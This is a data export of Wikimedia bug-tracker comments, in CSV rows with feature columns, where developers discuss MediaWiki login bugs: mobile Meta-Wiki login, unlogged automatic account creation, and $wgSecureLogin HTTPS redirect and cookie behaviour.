+> I'm sorry, what does commons.wikimedia.org have to do with
+> meta.m.wikimedia.org?
+
+Nothing. Missing coffee in the morning on my side, sorry.
+
+So I can confirm this.
+
+Going to https://meta.m.wikimedia.org in Firefox 18 and Opera 12.14, signing in, returning to the mainpage and clicking the ""star"" icon (to add the page to my watchlist) asks me to log in again. I cannot log in at all.",,,1367251588,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,True,,,-18,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,0,1,1,0,0,1
+226360,meta.m.wikimedia.org user login doesn't work,"(In reply to comment #3)
+> Log in on meta.m.wikimedia.org with Firefox18 works for me, and when I go to
+> https://commons.wikimedia.org/wiki/Special:Watchlist I am logged in.
+
+I'm sorry, what does commons.wikimedia.org have to do with meta.m.wikimedia.org?
+
+Comment 0 is pretty clear that this is about <https://meta.m.wikimedia.org/wiki/Special:Watchlist> and other pages on meta.m.wikimedia.org (Meta-Wiki's mobile site).",,,1367249440,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,True,,,-18,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,0,1,0,0,0,1
+226354,meta.m.wikimedia.org user login doesn't work,"Log in on meta.m.wikimedia.org with Firefox18 works for me, and when I go to https://commons.wikimedia.org/wiki/Special:Watchlist I am logged in.
+
+MZMcBride: Which browser and version is this about? (In general helpful info for bug reports.)",,,1367225197,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,True,,,-18,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,0,1,0,0,0,0
+226348,meta.m.wikimedia.org user login doesn't work,"It seems mobile is now the default for visitors for Meta-Wiki (i.e., visiting meta.wikimedia.org automatically redirects to meta.m.wikimedia.org on mobile devices). Is this the case? If so, this bug is a fairly high priority, I think.",,,1367110993,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,True,,,-18,True,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,1
+226343,meta.m.wikimedia.org user login doesn't work,"**mgrover** wrote:
+
+Assigned Mingle Ticket https://mingle.corp.wikimedia.org/projects/mobile/cards/745",,,1366946126,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+44434,Automatic account creation on manual login not logged in newusers log,"My browser has cookies from third parties disabled and than I am not logged in automatically with CentralAuth/SUL, when visited, for example, wikidata.org.
+
+On my first visit on wikidata.org I have manually logged in over [[d:Special:UserLogin]] and my account was created automatically, but this account creation is not logged in the newusers log [[d:Special:Log/newusers/Umherirrender]].
+
+Please log this automatically account creation on manually login also in the newusers log. Thanks.
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",Unbreak Now!,100.0,1353870240,1369394696.0,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,False,PHID-TASK-cr2twskhtr4untkis7m5,task_description,resolved,True,c2,1,False,False,True,-40,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1
+192443,Automatic account creation on manual login not logged in newusers log,"successfully merged, thanks for your work!",,,1369394696,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-cr2twskhtr4untkis7m5,task_subcomment,,True,c2,1,False,,,-14,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+192438,Automatic account creation on manual login not logged in newusers log,Related URL: https://gerrit.wikimedia.org/r/65123 (Gerrit Change I772cf0e7470a6111f84135074014e8a5f8c5fde0),,,1369319601,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cr2twskhtr4untkis7m5,task_subcomment,,True,c2,1,False,,,-14,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+192434,Automatic account creation on manual login not logged in newusers log,Adding Hoo also. I'll try and take a look at it this week.,,,1369316385,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-cr2twskhtr4untkis7m5,task_subcomment,,True,c2,1,True,,,-14,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+192430,Automatic account creation on manual login not logged in newusers log,Andrew / Greg: Any idea who could take a look at this issue?,,,1369251139,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-cr2twskhtr4untkis7m5,task_subcomment,,True,c2,1,True,,,-14,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0
+192426,Automatic account creation on manual login not logged in newusers log,Bumping priority significantly; this is a real mess.,,,1367525894,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cr2twskhtr4untkis7m5,task_subcomment,,True,c2,1,True,,,-17,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0
+192420,Automatic account creation on manual login not logged in newusers log,Confirmed on my local dev. Yuk. That needs to get fixed.,,,1367524953,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-cr2twskhtr4untkis7m5,task_subcomment,,True,c2,1,True,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+192415,Automatic account creation on manual login not logged in newusers log,*** Bug 48015 has been marked as a duplicate of this bug. ***,,,1367524364,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-cr2twskhtr4untkis7m5,task_subcomment,,True,c2,1,True,,,-17,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+42541,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"When using $wgSecureLogin, if a user leaves wpStickHTTPS unchecked, they are stil redirected to an https page after login.
+
+I think it's because getFullURL returns a protocol relative url by default now, so preg_replace( '/^https:/', 'http:', $redirectUrl ) has no effect.
+
+(NB: fixing this seems to prevent a user from logging in without wpStickHTTPS checked, because their session cookies are set with the secure attribute, but they are immediately redirected to an insecure page, so their session cookie no longer exists in the request.)
+
+--------------------------
+**Version**: 1.20.x
+**Severity**: major",Unbreak Now!,100.0,1348709400,1377623307.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-z5wumrcziag5oczsoiqy,task_description,resolved,True,c2,1,True,False,True,-48,True,0,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+205620,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,OSM upgraded to 1.21.2 (404e36a) and fixed https://trac.openstreetmap.org/ticket/3919 ; leaving the checkbox to stay on HTTPS successfully keeps me on HTTP.,,,1378797646,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,3,True,,,1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,0
+205616,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"(In reply to comment #20)
+> (In reply to comment #19)
+> > What are the combinations?
+> 
+> 1. If you have prefershttps turned on, you always go to HTTPS.
+> 2. If you don't have prefershttps turned on, you are sent to whatever
+> protocol
+> you were originally on. In other words, if you came from HTTP, you go back to
+> HTTP. If you came from HTTPS, you go back to HTTPS.
+
+The full set of options I was using while implementing this ended up as:
+
+preferhttps	geoip-https	browsing	final protocol
+true		no		http		http
+true		no		https		https
+true		yes		http		https
+true		yes		https		https
+false		no		http		http
+false		no		https		https (w/ insec cookies)
+false		yes		http		http
+false		yes		https		https (w/ insec cookies?)",,,1377630104,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,2,True,,,-1,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,1
+205611,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"(In reply to comment #19)
+> What are the combinations?
+
+1. If you have prefershttps turned on, you always go to HTTPS.
+2. If you don't have prefershttps turned on, you are sent to whatever protocol you were originally on. In other words, if you came from HTTP, you go back to HTTP. If you came from HTTPS, you go back to HTTPS.",,,1377628632,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,2,False,,,-1,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1
+205606,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"(In reply to comment #18)
+> (In reply to comment #17)
+> > So what's the alternative to $wgSecureLoginDefaultHTTPS now?
+> 
+> Nothing, because it doesn't make sense anymore. $wgSecureLoginDefaultHTTPS
+> was
+> made to decide what the default value of the mStickHTTPS checkbox was.
+> However,
+> that checkbox doesn't exist anymore, so there's no purpose in having a
+> default
+> value for it.
+> 
+> Whether you're sent to HTTPS, rather than being decided by a checkbox, is
+> decided by a combination of what protocol you were previously browsing and
+> the
+> user preference prefershttps.
+
+What are the combinations?
+
+> 
+> > What happens (now
+> > and in 1.21) if $wgSecureLogin is true but $wgServer is http:// ?
+> 
+> I forget what release it was in, but having $wgSecureLogin as true and
+> $wgServer with an HTTP protocol is considered a configuration error, so a
+> patch
+> was added that automatically shuts off $wgSecureLogin in Setup.php if that
+> condition matches.
+
+Yes, that's what the configuration suggests. I still don't understand how one is supposed to send logged in users to http after the secure login.",,,1377627693,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,2,True,,,-1,True,0,0,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+205600,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"(In reply to comment #17)
+> So what's the alternative to $wgSecureLoginDefaultHTTPS now?
+
+Nothing, because it doesn't make sense anymore. $wgSecureLoginDefaultHTTPS was made to decide what the default value of the mStickHTTPS checkbox was. However, that checkbox doesn't exist anymore, so there's no purpose in having a default value for it.
+
+Whether you're sent to HTTPS, rather than being decided by a checkbox, is decided by a combination of what protocol you were previously browsing and the user preference prefershttps.
+
+> What happens (now
+> and in 1.21) if $wgSecureLogin is true but $wgServer is http:// ?
+
+I forget what release it was in, but having $wgSecureLogin as true and $wgServer with an HTTP protocol is considered a configuration error, so a patch was added that automatically shuts off $wgSecureLogin in Setup.php if that condition matches.",,,1377627495,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,2,False,,,-1,True,0,0,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,1,1,0,1,1,1,1,0,0,1,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+205594,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,So what's the alternative to $wgSecureLoginDefaultHTTPS now? What happens (now and in 1.21) if $wgSecureLogin is true but $wgServer is http:// ?,,,1377627194,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,2,True,,,-1,True,0,0,0,0,0,1,1,0,0,1,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0
+205585,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"This is different from S's bug. The functionality is now present in both core and centralauth with the patches that were merged into master, and deployed to wmf14 by Chad on Saturday.
+
+After bug 52283, we no longer have the wpStickHTTPS checkbox on the login form, instead we use the user's originating page + preference + geoip to make the determination.",,,1377623307,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,2,True,,,-1,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+205578,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"(In reply to comment #14)
+> That change was merged on the 21st, but the ""included in"" info on the change
+> only says wmf12. We're on 13/14 now.
+> 
+> Chris/Chad: is this live on the testwikis+mediawiki.org. We have another
+> report
+> of the issue from S in bug 53379.
+
+I can't comment as to what is deployed, but I tested testwiki+mediawiki earlier this week and the specific issue mentioned at the top of this bug report doesn't occur.",,,1377618743,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,2,False,,,-1,True,0,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,0,1,0,1
+205570,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"That change was merged on the 21st, but the ""included in"" info on the change only says wmf12. We're on 13/14 now.
+
+Chris/Chad: is this live on the testwikis+mediawiki.org. We have another report of the issue from S in bug 53379.",,,1377618402,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,2,False,,,-1,True,0,0,0,1,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
+205563,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"Indee this seems to be hitting us again, see Chris and Tim on https://gerrit.wikimedia.org/r/#/c/79960/
+4eopening this because the fix never worked for me on released versions of MW and its status has to be checked.",,,1377072863,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,2,True,,,-1,True,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,1
+205556,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"I don't understand on what release this is supposed to be fixed and at what conditions ([[mw:Manual:$wgSecureLogin]] says nothing).
+wiki.openstreetmap.org is at 1.20.3 (beb501d) and I'm always stuck on HTTPS with $wgSecureLogin = true; $wgServer = '//wiki.openstreetmap.org';",,,1365669877,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,1,True,,,-20,True,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,1
+205550,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,Closing this as resolved since the actual bug has indeed been fixed. Opened a separate report (bug 40679) for the redirect issue.,,,1349134278,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,1,False,,,-48,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+205544,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"Yeah, I mean if a user is turning on wgSecureLogin (or a similar option), they should already be aware (hopefully) that this implies HTTPS. At the very least, the bug of a infinite redirect will be replaced with that of getting an error when you try to browse HTTPS when none exists.",,,1349125524,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,1,False,,,-48,True,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0
+205538,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"(In reply to comment #8)
+> Honestly, if MediaWiki is explicitly requesting an HTTPS link, I think it is
+> erroneous to produce something different, especially with something as
+> ambiguous as what $wgServer's scheme is. I think PROTO_HTTPS should give https
+> regardless of $wgServer.
+
+I totally agree, in theory. However, even when I do that, if I load a page over ssl on a site where $wgServer starts with http://, all of the links to load.php and api.php use http instead of https. So the assumption that $wgServer can be used to generate urls with the correct protocol seems to be used all over the place.
+
+I tested out just setting $wgServer to be protocol-relative if $wgSecureLogin is true, and it's working well. I don't like the idea of secretly flagging or changing a user's config, but in this case it seems like it may make sense to fix up conflicting config options?",,,1349121353,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,1,True,,,-48,True,1,1,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+205532,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"(In reply to comment #7)
+> I added an ugly hack to wfExpandUrl in Gerrit change #25721 to ignore this assumption
+> if the site owner has enabled $wgSecureLogin. However, I think it would be best
+> to back up and actually define a couple of things:
+> 
+> 1) What does it mean if $wgServer starts with http://? Is it that there is no
+> ssl available / intended, and MediaWiki should never generate an https link? Or
+> should we assume that it's a default configuration, and we can override it if
+> other settings like $wgSecureLogin are set?
+
+Honestly, if MediaWiki is explicitly requesting an HTTPS link, I think it is erroneous to produce something different, especially with something as ambiguous as what $wgServer's scheme is. I think PROTO_HTTPS should give https regardless of $wgServer.
+
+In reality, I would love to just finish https://gerrit.wikimedia.org/r/22167 and stop using wfExpandUrl in new code altogether.",,,1348934551,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,1,False,,,-48,True,0,1,1,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,1,1,1,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,1,1
+205526,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"Roan pointed out that gerrit 25530 results in an infinite redirect if $wgServer includes an http:// protocol. This is because when $wgServer includes the protocol, it's assumed by the code that this means that there is no ssl available, so an http:// url is returned from wfExpandUrl(), even when PROTO_HTTPS is given.
+
+I added an ugly hack to wfExpandUrl in gerrit 25721 to ignore this assumption if the site owner has enabled $wgSecureLogin. However, I think it would be best to back up and actually define a couple of things:
+
+1) What does it mean if $wgServer starts with http://? Is it that there is no ssl available / intended, and MediaWiki should never generate an https link? Or should we assume that it's a default configuration, and we can override it if other settings like $wgSecureLogin are set?
+
+2) If $wgServer starting with http:// means that the site should not use tls, but a site also includes $wgSecureLogin set to true, what *should* this mean to mediawiki? Should it be treated as an error? Or should one of the settings be overridden?
+
+My preference for #2 is that we assume that the most secure preference is desired. I wouldn't even mind changing the protocol of $wgServer to be relative if $wgSecureLogin is true in Setup.php. But again, I'm not sure all of the places where assumptions are made about #1 in the code, and in our user base.",,,1348933064,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,1,True,,,-48,True,1,0,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,0,1,1,0,1,1,0,1,1,1,1,1,1,0,1,0,1,1,0,0,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,1,1
+205521,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,https://gerrit.wikimedia.org/r/25530,,,1348771229,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,1,False,,,-48,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+205516,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"I just added a patch for the cookie handling, that I think will allow insecure links/redirects to work. Gerrit 25525.",,,1348770447,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,1,True,,,-48,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+205510,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"Well, unfortunately it's not that easy a fix. I'm working on it now, but the big problem is that say, for example, a hook injects HTML into the login complete page. The redirect does not occur automatically, and instead the user is given a sort of ""login success"" page and a link returning to where they were. The returnto link is added using OutputPage::addReturnTo, which in turn uses the Linker, and in that workflow there is no way to change the protocol. Right now I'm working on adding an option to the Linker so that you can force the link to have a certain protocol.",,,1348761264,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,1,False,,,-48,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,1,1,1,0,1,1,0,1,1,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
